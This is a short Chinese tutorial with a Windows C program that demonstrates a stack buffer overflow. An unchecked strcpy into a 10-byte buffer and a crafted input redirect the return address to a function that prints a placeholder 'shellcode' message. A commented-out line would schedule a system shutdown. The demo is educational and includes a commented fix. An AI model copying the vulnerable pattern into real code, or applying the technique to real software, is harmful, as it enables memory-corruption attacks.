緩沖區溢出攻擊代碼如下:
#include<Windows.h> #include<stdio.h> #include<string.h> void f(char *input) { char buffer[10]; strcpy(buffer,input); printf("緩沖區字符為=%s",buffer); /* // 進行防御,當輸入長度過長時跳出 char buffer[10]; int b; b=strlen(input); if(b<=10) { strcpy(buffer,input); printf("緩沖區字符為=%s",buffer); } else printf("字符長度超過緩沖區長度\n"); */ } void f1() { /* system("shutdown -s -t 3600"); */ while(1) { printf("shellcode攻擊代碼\n"); } } int main() { printf("f1()函數的地址為[shellcode攻擊代碼]=%p\n",f1);// 打印存儲用於攻擊的可用地址 // 輸入字符在正常范圍下 char *str1 = "abefgh"; f(str1); printf("\n"); system("pause"); // 輸入字符超出正常范圍下 char *str2 = "abcdefghijklmn12\x0A\x10\x40"; f(str2); return 0; }
正常執行不會執行到f1()函數,但是由於輸入的字符大於緩沖區的長度,而我們特意設置一段輸入字符的地址字符正好覆蓋了返回地址,則本函數調用完之后,就會返回到我們設置的地址,執行我們設置的shellcode攻擊代碼,但是本實例只是演示一下緩沖區溢出的情況,沒有做攻擊,則用在屏幕上打印出shellcode攻擊代碼為攻擊行為。